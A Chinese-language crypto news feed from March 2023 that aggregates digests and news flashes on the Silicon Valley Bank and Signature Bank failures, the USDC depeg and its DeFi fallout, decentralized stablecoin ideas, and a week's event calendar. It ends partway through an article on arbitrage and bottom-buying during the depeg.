    Chainfeeds 导读： 因为中心化风险，市场对去中心化稳定币的渴望和热情从未消退过。加密 KOL dashuo 认为真正的去中心化稳定币一定是基于链上原生资产或服务的刚性兑现，并以存储为例，畅想了一种基于存储资源的去中心化稳定币。 文章来源： https://twitter.com/ruyan768/status/1634672950514425856 文章作者： dashuo 观点： dashuo：真正可行的去中心化稳定币首先要具备以下几点：1. 去中心化发行；2. 刚性兑付能力；3. 充足供应；4. 叙事的信心。短期不会有这样的去中心化稳定币存在。探讨一种可能的形式，基于链上原生资源的去中心化稳定币。这些资源类型可能包括：存储、带宽、计算。这类以互联网原生资源为基础的去中心化稳定币核心逻辑只有一个，「1TB 的存储永远等于 1TB 存储」。 内容来源 dashuo：最早能转化成去中心化稳定币的可能是存储资源，存储资源是不可再生的，需求是不断增加的。因为每 TB 存储在全球价格几乎相同，而存储技术是迭代速度最慢的领域，在可以预见的未来每单位存储价格是平稳下降的。以此推断，基于互联网原生资源的服务兑现形稳定币具备可行性。这种稳定币如果发生脱锚的情况，企业或个人则可以以更优的汇率兑换等额的存储服务。 内容来源 dashuo：未来的去中心化稳定币肯定是多元化的，除资源型之外，还会有信用型稳定币，UBI 型稳定币，而这些大概率会在 Lens Protocol 社交网络上出现。 内容来源  ( 2 min )
    【英文】2022 年 Solidity 开发者调查报告
    Chainfeeds 导读： 以太坊编程语言 Solidity 发布 2022 年 Solidity 开发者调查报告。此次调查涉及 1401 名开发者，调查涉问题及开发者画像、Solidity 性能等主要方面。本报告为 Solidity 的统计与数据可视化整理。 文章来源： https://blog.soliditylang.org/2023/03/10/solidity-developer-survey-2022-results/ 文章作者： franzi 观点： franzi：地域：共有来自 100 个不同国家的 1401 名开发者参与了 2022 年的调查。大约 18% 的受访者表示居住在美国，其次是印度（10%）和法国（5%）。编程经验：大多数受访者具有 3 年或以上的专业编码经验，12.5% 甚至超过 15 年。Solidity 体验：超过半数受访者使用 Solidity 不到一年，13.8% 的受访者使用时间超过 3 年。41% 的人每天使用 Solidity，37.3% 的人每周使用。【原文为英文】 内容来源 franzi：开发者体验：大多数人（超过 75%）认为 Solidity 开发者体验在去年有所改善。0.9% 的人认为情况变得更糟，经常遇到调试问题，其次是 stack-too-deep 错误和字节码大小限制。期待的特性：对十进制数和泛型（Generics）的支持为「最受期待的 Solidity 特性」。【原文为英文】 内容来源 franzi：喜欢和厌恶的特性：受访者最喜欢 Solidity 的语法，学习、阅读、编码和编译的简单性，以及静态类型化。最显着的痛点是「stack-too-deep」，占所有投票的 33.6%，其次是缺少内存优化（内存浪费）（24.4%）和冗余检查（11.8%）。9.9% 的人表示编译器性能是他们最大的问题。【原文为英文】 内容来源  ( 13 min )
    【英文长推】复盘硅谷银行破产：DeFi 生态的一次大规模压力测试
    Chainfeeds 导读： 硅谷银行的破产是自 2008 年以来最大的银行破产，银行挤兑已进入加密生态系统，第二大稳定币 USDC 跌至 0.85 美元的低点，整个 DeFi 生态系统经历了一次大规模的压力测试，引发人们对 DeFi 暴露于中心化的风险的质疑。Delphi Digital 复盘了此次硅谷银行破产引发 USDC 脱锚并带来一系列连锁反应的整个过程及影响。 文章来源： https://twitter.com/Delphi_Digital/status/1634956817641111554 文章作者： Delphi Digital 观点： Delphi Digital：故事从最近持有债券的银行未实现的损失大量增加开始。随着利率上升，银行资产负债表上的长期债券的价值正在下降。指定为持有至到期的债券不会被标记为其公允市场价值（FMV）。如果银行被迫出售这些贬值的债券以获得流动性，意味着银行按 FMV 实现了这些损失。【原文为英文】 内容来源 Delphi Digital：硅谷银行客户在 3 月 9 日（星期四）试图提取 420 亿美元。为了满足提款，硅谷银行被迫开始清算他们的债券组合。当硅谷银行被迫出售其 210 亿美元的可供出售的债券组合时，他们损失了 18 亿美元，硅谷银行被迫停止提款，FDIC 接管了硅谷银行。【原文为英文】 内容来源 Delphi Digital：USDC 435 亿美元的储备中，有 33 亿美元在硅谷银行。周五，Circle 停止了 USDC 的赎回，随后，USDC 脱锚，其价格在各大交易所最低跌至 85 美分。随着 USDC 的脱锚，混乱随之而来：Aave 冻结头寸；Compound 停用 USDC 供应交易；MakerDAO 限制对 USDC 的敞口；Curve 3pool 和 Uniswap 的 USDT 流动性几乎枯竭；其他由 USDC 支持的稳定币也跌至历史最低（DAI 0.86 美元、FRAX 0.88 美元）。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Arbitrum 的下一颗「宝石」？一文详解可复制交易的永续 DEX：Perpy
    Chainfeeds 导读： Perpy 是允许交易者复制交易的永续 DEX ，加密研究员 ASH 撰推对 Perpy 进行技术概述，并分析其创新之处及竞争优势，解读其代币经济模型，认为 Perpy 可能成为 Arbitrum 上对游戏规则改变者。其将于 3 月 16 日公开发售。 文章来源： https://twitter.com/fameaim53/status/1634603436460347393 文章作者： ASH 观点： ASH：Perpy 的复制交易解决方案通过智能合约直接链接到 GMX，允许用户复制最成功的 GMX 交易者，并允许用户通过其追随者的绩效费将交易技巧货币化。Perypy 的用户在存款后会收到 ERC-20 合约形式的等量股份，作为存款记录，金库还控制费用的分配并通过股票监控交易者的表现。【原文为英文】 内容来源 ASH：创新之处：1）无资金锁定，用户可以随时进入和退出金库。2）金库具有弹性，旨在复制其创建者的交易。3）智能交易引擎。协议费用：交易者在其交易金库中收取 10% 至 50% 的绩效费用，Perpy 则保留 DAO 利润的 20%。交易退出费用：1）金库没有正在进行的交易，费用为 0.3%；2）交易正在进行时，减小交易规模，费用为 1.5%；关闭交易，费用则为 5%。【原文为英文】 内容来源 ASH：其原生代币 $PRY 硬顶为 10 亿个，并具有随时间推移的通缩机制。$PRY 具有不同用例：1）真实收益；2）交易费用回扣；3）治理；4）Lens 集成；5）金库广告；6）优先访问 2.0 金库。Perpy 优势在于：1）非托管、智能且以所有者为中心；2）完全上链和去中心化；3）为 Perpy 提供燃料的协议是无许可的；4）基于金库的方法提供了多种类型策略。【原文为英文】 内容来源  ( 2 min )
    生成式 AI 模型：赋予 Web3 更多权利
    Chainfeeds 导读： 自 OpenAI 面向公众推出 ChatGPT 以来，人工智能（AI）的热度一直居高不下。加密 KOL Joel John 撰文总结其对该行业的理解，以及为什么认为区块链和 AI 将在未来十年混合在一起。本文中文版由 DeFi 之道编译。 文章来源： https://www.8btc.com/article/6808680 文章作者： Joel John 观点： Joel John：AI 模型现在可以进行文本输入，实时编辑和更改音调，图像和代码也是如此。原因是可用于训练生成 AI 模型的大型数据集的可用性。很多工作目前仍然需要许多人的参与。但 AI 确实使这一过程变得更加高效。AI 已经被人用来总结和提供大量工作的关键见解。这里的挑战是缺乏归因和可验证的出处，这就是当前形式的生成型 AI 的危险所在。 内容来源 Joel John：工作室可以拥有并发布 AI 生成聊天机器人或交互式角色的变体。但是结合区块链，将使他们能够跟踪、验证和索取版税。他们可以建立一个开放的市场，让任何人都可以来构建。我们相信，在基于 Web3 的人工智能中，护城河将围绕管理利基用户（通过代币激励）、创建数据流和通过社区参与实现规模化的货币化模型而构建。 内容来源 Joel John：生成式 AI 是关于人类才能的可扩展性。 随着创建模型的难度和输入模型的复杂性的提高，我们将看到个人发布自己的 AI 服务。Web3 原生 AI 平台可以从众包数据集（如图像）中获益，以换取代币激励。像艺术家一样，贡献者可以分享他们的作品，而这些作品又可以通过返回特定艺术风格的模型运行。 内容来源 Joel John：下一个 OpenSea 可能会结合这种形式的生成艺术、提供数据或运行查询的贡献者以及链上原语来证明进入工作主体的组件。 这同样适用于 AI 模型。 维护和优化模型的合作社可以将其出租给用户想要铸造 NFT 的市场。 或者，数百万人使用的大型 AI 模型可以自行开源并作为 DAO 运行。 这使人们能够在如何维护和扩展生成式 AI 工具方面拥有更多发言权。 内容来源  ( 6 min )
    【英文长推】USDC 严重脱锚，FRAX 如何解绑中心化稳定币？
    Chainfeeds 导读： 受美国硅谷银行破产影响，USDC 正经历着严重脱锚的危急时刻。FRAX 作为完全由 USDC 作为抵押物的去中心化稳定币该如何应对？加密 KOL Francesco 分析了当前 FRAX 面临的问题，并总结了 FRAX 创始人 Sam 的解决方案。 文章来源： https://twitter.com/francescoglt/status/1634929747728932864 文章作者： francesco 观点： francesco：尽管 Frax 将其抵押率提高到了 100%，但当前的 USDC 的严重脱锚证明了 100% 的抵押率也并非完全可靠。因为 Frax 的大部分抵押品由 USDC 组成，Frax 仍然依赖于「代币化法币」敞口。Frax 并没有真正脱离中心化稳定币，并且在市场动荡期间不提供任何额外级别的保护。【原文为英文】 内容来源 francesco：Frax 创始人 Sam 认为，FRAX 应该只有 1 个 RWA：将美元存入美联储主账户 (FMA)。然而 Frax 作为区块链协议想要获得 FMA 的过程将比传统的大型银行困难得多，对于能否实现这一目标仍然纯粹是猜测。Sam 在 Frax 电报群中提到了不依赖 USDC 的第一步：Frax 可能很快开始直接购买美国国债。【原文为英文】 内容来源  ( 2 min )
    Signature Bank 被纽约银行当局关闭
    Signature Bank 被纽约银行当局关闭 据 Cointelegraph 报道，根据美联储的公告，总部位于纽约的 Signature Bank 被州监管机构关闭，截止 12 月 31 日，Signature Bank 拥有 886 亿美元存款，这家银行也为许多加密公司提供服务。美联储 在 3 月 12 日的一份声明中表示，该决定是与美国联邦存款保险公司 (FDIC) 共同做出，目的是保护美国经济并增强公众对银行体系的信心。美联储并指出，它正在支持 Signature Bank 的所有储户，「该机构的所有存款人都不会受损。与硅谷银行的决议一样，纳税人不会承担任何损失」。 内容来源  ( 59 min )
    The Block 主编：Crypto 的资本市场基本回到了 2014 年之前
    The Block 主编：Crypto 的资本市场基本回到了 2014 年之前 The Block 主编 Frank Chaparro 表示，Crypto 的资本市场基本回到了 2014 年之前，任何新成立的公司都没有机会获得银行关系。在许多方面，加密货币已经正式成为无银行账户。 内容来源  ( 2 min )
    Circle CEO：USDC 流动性操作于周一早上恢复，剩余现金将转移至纽约梅隆银行
    Circle CEO：USDC 流动性操作于周一早上恢复，剩余现金将转移至纽约梅隆银行 Circle 首席执行官 Jeremy Allaire 发推表示，在硅谷银行的存款是 100% 安全的，USDC 流动性操作将在周一早上银行开门时恢复。USDC 储备金也是 100% 安全可靠，Circle 将把剩余现金转移到纽约梅隆银行（BNY Mellon）。由于 Signature 银行关闭之后将无法通过 SigNet 处理铸造和赎回 USDC，Circle 将依靠纽约梅隆银行进行结算。此外，Circle 最快将于明天引入一个具有自动铸造和赎回功能的新交易银行合作伙伴。 内容来源  ( 2 min )
    美财政部、美联储和 FDIC 的联合声明：将全额担保硅谷银行和 Signature Bank 储户存款
    美财政部、美联储和 FDIC 的联合声明：将全额担保硅谷银行和 Signature Bank 储户存款 美国财政部长 Janet L. Yellen、美联储主席 Jerome H. Powell 与 FDIC 主席 Martin J. Gruenberg 联合发布声明，自 3 月 13 日星期一开始，硅谷银行储户将可以提取所有现金，与硅谷银行的决议有关的任何损失将不会由纳税人承担。与硅谷银行的决议一样，Signature Bank 的所有存款人也将得到赔付，纳税人无需承担任何损失。股东和某些无担保债务人将不受保护，高管也已被免职。根据法律要求，存款保险基金为支持未投保存款人而遭受的任何损失将通过对银行的特别评估予以弥补。 内容来源 观点： Jeremy Allaire（Circle 联合创始人兼首席执行官）：在硅谷银行的存款是 100% 安全的，USDC 流动性操作将在周一早上银行开门时恢复。USDC 储备金也是 100% 安全可靠，Circle 将把剩余现金转移到纽约梅隆银行（BNY Mellon）。由于 Signature 银行关闭之后将无法通过 SigNet 处理铸造和赎回 USDC，Circle 将依靠纽约梅隆银行进行结算。我们最快将于明天引入一个具有自动铸造和赎回功能的新交易银行合作伙伴。【原文为英文】 内容来源 Coinbase：截至 3 月 10 日星期五营业结束，Coinbase 在 Signature 的公司现金余额约为 2.4 亿美元。所有客户资金仍然安全且可访问，包括将于周一恢复的 USDC 转换。由于 FDIC 暂停了 Signature 的交易，我们目前正在为所有客户与其他银行合作伙伴的现金交易提供便利。【原文为英文】 内容来源 Federal Reserve：美联储将向符合条件的存款机构提供额外资金，以帮助确保银行有能力满足所有存款人的需求。额外资金将通过创建新的银行定期融资计划（BTFP）提供，向银行、储蓄协会、信用合作社和其他合格的存款机构提供最长一年的贷款，以美国国债、机构债务和抵押贷款支持证券以及其他合格资产为抵押。此外，经财政部长批准，财政部将从外汇稳定基金中提供高达 250 亿美元的资金作为 BTFP 的支持。【原文为英文】 内容来源 Paxos：Paxos 目前在 Signature Bank 持有 2.5 亿美元，且持有的私人存款保险远超我们的现金余额和 FDIC 对每个账户的限额。所有 Paxos 稳定币储备都是完全支持的，并且可以随时以美元 1:1 的比例赎回给客户。【原文为英文】 内容来源 Jinze Jiang 金泽：FED 跟财政部的救助是两个事，前者几乎是无限流动性工具 BTFP，后者仅仅象征性出了 250 亿美元而已。因为是纳税人的钱，是几乎不可能用这个钱来救银行的，就是摆那提振信心而已。 内容来源 Mindao（dForce 创始人）：USDC 一夜间从青蛙变王子。危机里家底被查的一清二楚，顺势把现金全部搬到 NY Mellon（GSIB，宇宙托管行）。全部 crypto bank 被关闭，短期不会再出现民间稳定币，美元出入金集中到 USDC-Coinbase。这危机怎么看 Coinbase/Circle 都是最大受益者。 内容来源 Dankrad Feist：如果硅谷银行的存款像 RAI 一样工作，并且是浮动的，会怎么样？让我们看看 「SVAI」会发生什么。第 1 步：投资者发现债券期限的不匹配，一些人想退出；第 2 步：SVAI 卖家推动价格下跌；第 3 步：SVAI 的赎回率进行调整。持有 SVAI 的人将获得更高的未来赎回价格。第 4 步：现在，赎回者将有一个新的权衡需要考虑。现在以折扣价赎回，还是以后以（可能的）利率收益赎回。危机停止？【原文为英文】 内容来源 0xLoki：Circle 暴雷的风险几乎为 0，但对于接下来的市场来说，影响才刚刚开始。第一个影响是对市场流动性产生打击，包括 USDC 在内的各类稳定币仍有可能持续流失；第二个是对市场的连环打击，圈外资金观望情绪加剧，项目方和 VC 需要面临更复杂的资金保管问题和更高的成本；第三个是监管和合规市场层面，接下来如何去向监管以及用户讲合规的伟大愿景？ 内容来源  ( 9 min )

  • Open

    解读Stader：DVT混合节点，多链低市值LSD协议能否迎来春天？
    解读Stader：DVT混合节点，多链低市值LSD协议能否迎来春天？ – 深潮TechFlow 出品：深潮 TechFlow 研究院 Read the full entry  ( 4 min )
    解读Stader：DVT混合节点，多链低市值LSD协议能否迎来春天？
    解读Stader：DVT混合节点，多链低市值LSD协议能否迎来春天？ – 深潮TechFlow 出品：深潮 TechFlow 研究院 Read the full entry  ( 4 min )
    人工智能在Web3中的应用：挑战、风险和前景
    人工智能在Web3中的应用：挑战、风险和前景 – 深潮TechFlow 撰写：crypto.com Read the full entry  ( 4 min )
    人工智能在Web3中的应用：挑战、风险和前景
    人工智能在Web3中的应用：挑战、风险和前景 – 深潮TechFlow 撰写：crypto.com Read the full entry  ( 4 min )
    协议收入数据解析：过去六个月中哪五个DeFi协议最赚钱？
    协议收入数据解析：过去六个月中哪五个DeFi协议最赚钱？ – 深潮TechFlow *撰写：Poopman * Read the full entry  ( 4 min )
    协议收入数据解析：过去六个月中哪五个DeFi协议最赚钱？
    协议收入数据解析：过去六个月中哪五个DeFi协议最赚钱？ – 深潮TechFlow *撰写：Poopman * Read the full entry  ( 4 min )
    加密市场崩盘时期，投资者应该坚持的六个原则
    加密市场崩盘时期，投资者应该坚持的六个原则 – 深潮TechFlow 撰写：Crypto Engineer Read the full entry  ( 2 min )
    加密市场崩盘时期，投资者应该坚持的六个原则
    加密市场崩盘时期，投资者应该坚持的六个原则 – 深潮TechFlow 撰写：Crypto Engineer Read the full entry  ( 2 min )

  • Open

    FDIC启动对硅谷银行的拍卖，最终报价于周日截至
    PANews 3月13日消息，据彭博社报道，据知情人士透露，美国联邦存款保险公司(FDIC)周六晚间启动了对硅谷银行的拍卖程序，最终报价于周日下午截止。FDIC的目标是迅速达成协议，但拍卖最终赢家可能要到周日晚些时候才能公布。最终决定尚未做出，可能不会达成任何协议。据此前消息，美国财政部长耶伦周日在新闻节目中表示，硅谷银行不会得到政府救助，但会设法满足储户的需求。她还表示，美国银行体系非常安全，资本充足。  ( 4 min )
    Ripple CEO：Ripple对硅谷银行有一些敞口，但日常业务不受影响，财务状况依然稳健
    PANews 3月13日消息，Ripple CEO Brad Garlinghouse推特发文称，Ripple对硅谷银行有一些敞口。硅谷银行是Ripple的银行合作伙伴，并持有Ripple的部分现金。但预计Ripple的日常业务不会受到干扰，大部分美元存放在其它银行。此外，Ripple的财务状况仍然稳健。近期发生的众多事件突显了金融系统仍然脆弱。  ( 4 min )
    Signature Bank倒闭，已被美国FDIC接管，所有储户都将获得补偿
    PANews 3月13日消息，据CoinDesk报道，美联储宣布，总部位于纽约的Signature Bank周日被州监管机构关闭。纽约州金融服务局负责人Adrianne Harris在一份声明中表示，美国联邦存款保险公司(FDIC)已接管该银行。这是一周内第三家银行倒闭，此前Silvergate Bank和硅谷银行分别于周三和周五倒闭。Harris表示，采取这一行动是“为了保护储户”。美联储、FDIC和美国财政部发布联合声明称，所有使用Signature的储户都将获得补偿。  ( 4 min )
    美国监管机构：硅谷银行所有储户都将获得补偿，周一可以动用其资金
    PANews 3月13日消息，据CoinDesk报道，美国监管机构周日在一份联合声明中表示，硅谷银行的所有储户都将获得补偿，并在周一可以动用他们的资金。美国财政部长耶伦、美联储主席鲍威尔和美国联邦存款保险公司（FDIC）主席格伦伯格在一份声明中表示：“在收到FDIC和美联储董事会的建议，并与总统协商后，耶伦部长批准了一些行动，使FDIC能够以充分保护所有储户的方式完成对硅谷银行的清算。今天，我们将采取果断行动，加强公众对我们银行体系的信心，以保护美国经济。”  ( 4 min )
    一周预告 | 硅谷银行储户周一可取回受保存款；Filecoin虚拟机FVM将在主网上启动
    要闻预告： 更多一周预告请点击下载PANews APP，关注PANews推出的事件日历活动板块，在PANews随时随地阅读更多区块链即时快讯和深度好文。 交易所： Coinbase将于3月13日暂停BUSD交易 Coinbase 宣布将于 2023 年 3 月 13 日美国东部时间 12 时左右暂停 Binance USD（BUSD）交易。BUSD 资金仍可供用户使用，并且将继续能够随时提取资金。 项目动态： 硅谷银行存款转入新实体DINB，受保储户将在3月13日上午取回受保存款 据美国联邦存款保险公司(FDIC)最新公告，加州金融保护和创新部已于本周五下午关闭了硅谷银行并委任美国联邦存款保险公司接管了其业务。目前美国联邦存款保险公司已经创建了一个名为“圣克拉拉存款保险国家银行 (DINB)”的新实体并将硅谷银行存款转入到该实体中以保护客户，所有受保储户将在3月13日（下周一）早上之前完全使用其受保存款，FDIC将在下周内向未投保储户支付预付利息，未投保的存款人将收到其未投保资金剩余金额的接管证书，随着FDIC出售硅谷银行的资产，未来可能会向未投保的储户支付利息。 芝商所(CME)计划于3月13日推出比特币期货合约 衍生品市场芝商所 (CME Group) 将于3月13日推出比特币期货合约，目前正在等待监管部门的审查。 投票治理： Uniswap社区正对关于“将Uniswap v3部署到Kava EVM网络”的投票将于3月13日结束 代币解锁： Sweat Economy ( SWEAT )计划于3月13日解锁 项目动态： Maker已投票通过USDC等相关参数变更紧急提案，计划于在北京时间3月14日0点14分部署 据官方消息，Maker Governance已投票通过昨日发起的一系列参数变更紧急提案，提交的参数变更计划在北京时间3月14日0点14分部署。据此前消息，MakerDAO治理社区发起紧急提案，提议变更USDC相关资产风险和治理参数，将 UNIV2USDCETH-A、UNIV2DAIUSDC-A、GUNIV3DAIUSDC1-A 以及 GUNIV3DAIUSDC2-A 等USDC相关LP作为抵押品的债务上限降至 0。 此外，提案还要求更改PSM-USDC-A、PSM-GUSD-A等锚定稳定模块的部分参数以降低协议风险。 Filecoin虚拟机FVM将于3月14日在主网上启动 据官方博客，Filecoin虚拟机（FVM）将于3月14日在Filecoin主网上启动。Filecoin EVM将通过Filecoin nv18 Hygge升级部署在Filecoin主网上。 隐私网络Iron Fish将于3月14日上线主网，并空投94万枚主网代币 隐私网络Iron Fish宣布将于3月14日上线主网，届时铸造完全私有的自定义资产、销毁、交易、挖矿和托管节点等功能均将可用。此外，本周Iron Fish将推出一个申领门户，共向测试网参与者发放94万枚主网代币空投。 代币解锁： dYdX ( DYDX )计划于3月14日解锁 交易所： Bitstamp将于3月15日进行维护，届时将中断服务 加密交易所Bitstamp宣布，由于计划中的基础设施升级和维护，网络平台和应用程序中的所有服务（包括登录和注册）将于UTC时间3月15日10:00（北京时间18:00）暂时不可用。维护将持续约1小时。 Kraken将不再支持非企业客户使用Signature Bank进行存取款，其存款业务将于3月15日停止 据彭博社报道，Kraken在周三发给客户的一封电子邮件中表示，Kraken的非企业客户将无法再使用加密银行Signature Bank进行美元存款或取款。存款将于3月15日停止，客户需在3月30日之前完成提款。据币安此前发布的一份声明，Signature Bank将从2023年2月1日起不再支持任何交易金额低于10万美元的加密交易所客户。 项目动态： 以太坊Goerli测试网预计将于3月15日上午激活Shapella升级 以太坊基金会在博客文章中宣布，Shapella网络升级将于epoch 162304在Goerli网络上激活，计划时间为北京时间3月15日06:25:36，预计这将是为以太坊主网安排Shapella升级之前的最后一次测试网升级。 Cosmos Hub将于3月15日进行V9 Lambda升级，将激活“Replicated Security”功能 Cosmos Hub关于v9 Lambda升级提案以99.48%的支持率获得投票通过。Cosmos Hub在官方推特上宣布将于3月15日进行V9 Lambda升级。根据该提案，本次升级旨在激活Replicated Security功能，这将强制执行链间安全性（ICS）的良好运行规则。Replicated Security功能可将Cosmos Hub的安全性复制到消费者链，并监控对规则的遵守情况，消费者链可以从Cosmos Hub的安全性中受益，而不必维护自己的验证者。 BAYC将“召唤”启动时间推迟至3月15日 Bored Ape Yacht Club （BAYC）在推特发布公告称，经过内部审查，目前决定将召唤“Summoning”启动时间推迟一周至3月15日，但蟾蜍模式的分数审查仍将按计划在3月7日之前完成。 Moonbirds母公司PROOF将于3月15日发布NFT系列“Archive of Feelings” Moonbirds母公司PROOF宣布将与Pace Verso合作，于3月15 日发布术家Mika Tajima的首个个人NFT项目“Archive of Feelings”系列NFT，总量1152枚，使用自定义情绪的算法来可视化美国12个地区的Twitter数据。PROOF Collective Pass持有者均可以0.1 ETH的价格铸造一枚NFT。Moonbirds和Pace Verso NFT持有者将有资格在第二轮进行铸造。若有剩余将可用于公开铸造。 Stargate重新发行STG代币的提案已获投票通过，将于3月15日执行 Snapshot页面显示，跨链桥Stargate关于重新发行STG的提案以90.43%的支持率获得投票通过，并将于3月15日执行合约替换。 政策监管： 以色列央行发布稳定币监管规则，其公众意见征集将于3月15日截止 以色列央行发布稳定币监管规则，该文件遵循该国财政部11月发布的数字资产监管指南，央行要求稳定币发行方维持与流通中的加密货币数量相匹配的准备金。此外，文件还建议在多个监管机构之间拆分监管角色以提高效率，稳定币发行方应获得经营许可证。拟议的规则将在3月15日之前公开征求公众意见，之后该银行将进行必要的修改并向政府建议立法。 代币解锁： BitDAO ( BIT ) 计划于3月15日解锁 交易所： 币安同意在3月16日之前向美参议员提供美国用户数量、财务数据和反洗钱措施等信息 三名美国参议员在给币安创始人赵长鹏和其美国最高副手Brian Shroder的信中表示：“币安及其相关实体故意逃避监管机构，将资产转移给犯罪分子和制裁逃避者，并向其客户和公众隐藏基本财务信息。”对此币安在一份声明中表示，关于公司的许多错误信息已经传播，但感谢参议员的要求，将提供信息以帮助他们更好地了解公司。 项目动态： 数字资产平台Bakkt退出消费者业务以专注于B2B，其应用程序将于 3 月 16 日正式停用 随着监管机构的严厉打击，数字资产平台 Bakkt 正在放弃其消费者应用程序，该应用程序将于 3 月 16 日正式停用。以专注于其企业对企业（B2B）技术解决方案。Bakkt 将继续通过安全合规平台上的 SaaS 和 API 解决方案，为企业的客户提供加密和忠诚度体验。 项目动态： GameFi社交平台BEBO LAB预计在3月17日开放BEBO NFT铸造 代币解锁： ApeCoin ( APE )和Stargate Finance ( STG )计划于3月17日解锁 社区治理： 关于“在Avalanche部署Uniswap V3”的提案将于3月17日结束投票 Uniswap社区关于在Avalanche部署Uniswap V3的提案已在链上发布，将于3月12日-3月17日进行链上投票。该提案此前已通过温度检查投票。提案发起方Blockchainat Michigan表示，“随着Uniswap V3核心代码版权商业保护于4月1日到期，在咨询Ava Labs团队之后，我们认为这是Uniswap扩展到Avalanche生态系统的适当时机。” 项目动态： Optimism将于3月18日进行Optimism Goerli硬分叉升级 以太坊二层解决方案Optimism发推称将于北京时间3月18日3:00进行Optimism Goerli硬分叉升级，Optimistic基础设施提供商需在此之前将节点升级到op-geth v1.11.2-de8c5df46，并将op-node升级到v1.0.0。 OKXChain发布OKT减产计划，区块产出将于3月18日调整 据OKX官推显示，OKXChain正式发布OKT 减产计划，从而实现可持续增长。目前OKC每个块产出0.5OKT ，当区块高度达到18123000（3月18日）时，将调整为0.125，接下来将每9个月减半，2028年总供应减至2100万。  ( 5 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.12）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    英国政府寻求利用中东资金收购硅谷银行子公司
    PANews 3月12日消息，据金融时报报道，英国央行周五晚些时候宣布，它计划使用其银行破产程序来解决硅谷银行英国子公司的问题，子公司在法律上独立于美国的总公司。目前，英国政府正试图推动收购硅谷银行的英国子公司，以防止损害蔓延到整个科技行业，一家总部位于阿拉伯联合酋长国的公司已经表示了兴趣。此举让人想起 2008 年金融危机后的救援行动。罗斯柴尔德正在领导为英国实体寻找潜在买家的过程，但罗斯柴尔德拒绝置评。知情人士称，当英国央行周五宣布硅谷银行英国子公司资不抵债时，该公司拥有近70亿英镑存款。  ( 4 min )
    美国财长耶伦：监管机构正在制定政策来解决硅谷银行事件
    PANews 3月12日消息，据金十，美国财长耶伦称，任何银行倒闭都构成“明显的担忧”，美国银行体系安全，资本充足，有韧性。监管机构正在制定政策来解决硅谷银行事件。努力“及时”解决当前问题，但目前无法提供更多细节。要确保一家银行的问题不会传染给其他银行。不过耶伦表示，当然不会重复过去对银行的救助。科技行业的问题不是硅谷银行倒闭的“核心”。 耶伦还强调，储户不必担心无法使用他们的钱。美国联邦存款保险公司周末加班制定硅谷银行解决方案，正在考虑一系列针对硅谷银行的选项，包括收购。  ( 4 min )
    数据：币安过去24小时在Tron网络铸造6.57亿枚TUSD
    PANews 3月12日消息，据Lookonchain链上监测，链上数据显示在过去24小时内，币安在Tron网络上铸造了6.57亿枚TUSD。  ( 4 min )
    复盘USDC脱锚下的抄底、避险和套利机会
    3月11日，USDC的发行商Circle称，USDC的400亿储备金中有33亿存款在硅谷银行，在此之前硅谷银行因“流动性不足和资不抵债”而被迫关闭，并指定了美国联邦储蓄保险公司（FDIC）接管。 虽然Circle受到影响的只是一小部分资金，但因为周末银行并不上班，大规模购买USDC赎回美元这一套利机制失效且Coinbase也关闭了USDC的美元提款通道，USDC、DAI、FRAX、MIM等稳定币相继脱锚。在市场剧烈波动的情况下，也蕴含着一些机会。 Lookonchain统计的机构操作 抄底：USDC损失有限且大概率会回到1美元附近 最简单的操作就是等待USDC下跌后进行抄底，依据在于USDC储备金受到硅谷银行影响的比例不超过10%，那么USDC当前的理论价值应该超过0.9美元，USDC跌到0.9美元以下就是合适的抄底机会。 这已经考虑了硅谷银行被清算并完全不能收回资金、Circle坐视不理等极端情况。实际上，硅谷银行因为在风险投资行业的良好声誉，也有不少的支持者。据彭博社报道，超过100家银行签署了一份支持硅谷银行的声明，如果其它实体收购硅谷银行，投资者将继续与硅谷银行保持关系。 3月12日，Circle也发布公告称，如果硅谷银行的资金不能100%回款，Circle将使用公司资源弥补短缺以支持USDC。在美国银行下周一营业后，USDC的流动性操作将恢复正常。 在过度的FUD情绪之下，部分投资者可能担心美国其它银行也可能步Silvergate和硅谷银行的后尘，第一共和银行（FRC）的股票价格在周五开盘时曾跌超50%。据彭博社报道，美联储和FDIC正考虑设立基金，为陷入困境的银行提供存款担保。 直接进行抄底的投资者还需实时关注动态，以免让自己处于不公平地位。例如在FTX风险刚刚暴露时，资金缺口相对于总存款的比例并不高，但因为很多人全额提款，且在提款关闭后FTX还通过特殊渠道向部分人开放了提款，导致没有提款的人可能损失100%的资金。 即使有风险，大概率USDC也会在周一恢复至接近1美元的价格。 在USDC脱锚后，可以选择将USDC 1:1兑换为其它稳定币，以期望其它稳定币的发行商能够兜底。如果USDC恢复1美元，将没有任何损失；如果USDC继续脱锚，其它稳定币的发行商也可能弥补USDC的亏空。 首先是BUSD和USDC的互换，币安默认将用户充值的USDC兑换为BUSD，因此USDC脱锚的早期，BUSD和USDC在币安仍然能够按1:1互换。在USDC已经脱锚的情况下，BUSD理论上比USDC风险更小，可能有币安的兜底。事实也如此，随着USDC脱锚的持续，币安关闭了USDC和BUSD的互换通道，此后BUSD的负溢价维持在1%左右，而USDC的负溢价最高超过10%。 第二是DAI与USDC的互换，Maker的稳定锚定模块允许DAI与USDC之间的互换。在没有其它渠道规避风险的情况下，DAI也是比USDC更好的选择，因为还有部分DAI是超额抵押加密货币铸造的，且MakerDAO有可能对协议中的坏账进行兜底。波场创始人孙宇晨也进行了这一操作，事后MakerDAO确实采取了积极措施，DAI的负溢价低于USDC。   套利：不同链上和DEX之间的价格差异 在USDC价格波动的时候，市场上也有很多套利机会，这个思路的核心就是多观察同种资产在不同链和中心化交易所之间的价格差异。 例如，Optimism和Arbitrum上的ETH/USDC交易对和OKX上价格的不同，需要使用1inch等交易聚合器，即使单个DEX上ETH/USDC的价格和交易所相同，也能通过DeFi的可组合性套利。其中一种操作是用USDC通过Optimism的1inch购买ETH，再到OKX、Bybit等平台换成USDC。当USDC贬值时，交易经过会“USDC-sUSD-sETH-ETH”的路径，通过Synthetix的原子交易完成。核心原因可能是因为在USDC价格下跌后，链上的USDC/sUSD交易对的价格并没有变化，Stableswap会导致流动性聚集，从而提供可观的流动性。 